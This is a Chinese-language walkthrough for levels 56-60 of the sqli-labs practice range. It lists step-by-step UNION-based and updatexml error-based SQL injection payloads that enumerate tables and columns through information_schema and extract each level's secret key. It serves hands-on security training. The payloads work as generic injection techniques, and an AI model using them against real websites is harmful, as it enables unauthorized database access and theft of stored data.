sqli-labs靶场通关攻略 56-60

主页有sqli-labs靶场通关攻略 1-55

第五六关 less-56

步骤一：闭合方式：?id=1')-- +

步骤二：查询数据库

?id=-1') union select 1,2,database() --+

步骤三：联合查询 查出网站的数据库表名

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'-- +

oem1p64ku9

步骤四：联合查询 查出users表列名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='oem1p64ku9'-- +

secret_69QZ

步骤五：获取目标信息

?id=-1') union select 1,2,secret_69QZ from challenges.oem1p64ku9-- +

输入登录框,提交成功

第五七关 less-57

步骤一：闭合方式：?id=1"-- +

步骤二：查询数据库

?id=-1" union select 1,2,database() --+

步骤三：联合查询 查出网站的数据库表名

?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'-- +

ufon3t1nq1

步骤四：联合查询 查出users表列名

?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ufon3t1nq1'-- +

secret_3WDG

步骤五：获取目标信息

?id=-1" union select 1,2,secret_3WDG from challenges.ufon3t1nq1-- +

rVaX7lFCcWbcinJHz4XPLQHr

输入登录框,提交成功

第五八关 less-58

步骤一：闭合方式：?id=1' --+

     

步骤二：查询数据库

?id=1' and updatexml(1,concat(1,database()),1) --+

  

步骤三：查出网站的数据库表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- +

  

3lqqm8344u

步骤四：查出users表列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='3lqqm8344u '),0x7e),1)-- +

secret_XXL3

步骤五：获取目标信息

 ?id=1' and updatexml(1,concat(0x7e,(select secret_XXL3 from challenges.3lqqm8344u),0x7e),1)-- +

  

4oNbuAyDfYPLcH67K20xQzDh

输入登录框,提交成功

第五九关 less-59

  

步骤一：闭合方式：?id=1 --+

步骤二：查询数据库

 ?id=1 a nd updatexml(1,concat(1,database()),1) --+

步骤三：查出网站的数据库表名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- + 

  

6bkswmx018

步骤四：查出users表列名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='6bkswmx018'),0x7e),1)-- +

  

secret_BIXB

步骤五：获取目标信息

 ?id=1 and updatexml(1,concat(0x7e,(select secret_BIXB from challenges.6bkswmx018),0x7e),1)-- +

  

joyZrDvuYEZQqVbuAaEfN5N4

输入登录框,提交成功

第六十关 less-60

  

步骤一：闭合方式：?id=1") --+

  

步骤二：查询数据库

?id=1") and updatexml(1,concat(1,database()),1) --+

  

步骤三：查出网站的数据库表名

?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)-- +

  

9ihh6w5lpg

步骤四：查出users表列名

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='9ihh6w5lpg'),0x7e),1)-- +

  

secret_CHXB

步骤五：获取目标信息

 ?id=1") and updatexml(1,concat(0x7e,(select secret_CHXB from challenges.9ihh6w5lpg),0x7e),1)-- +

  

vi4845P9Xmp8nfKaCUmEsNod

输入登录框,提交成功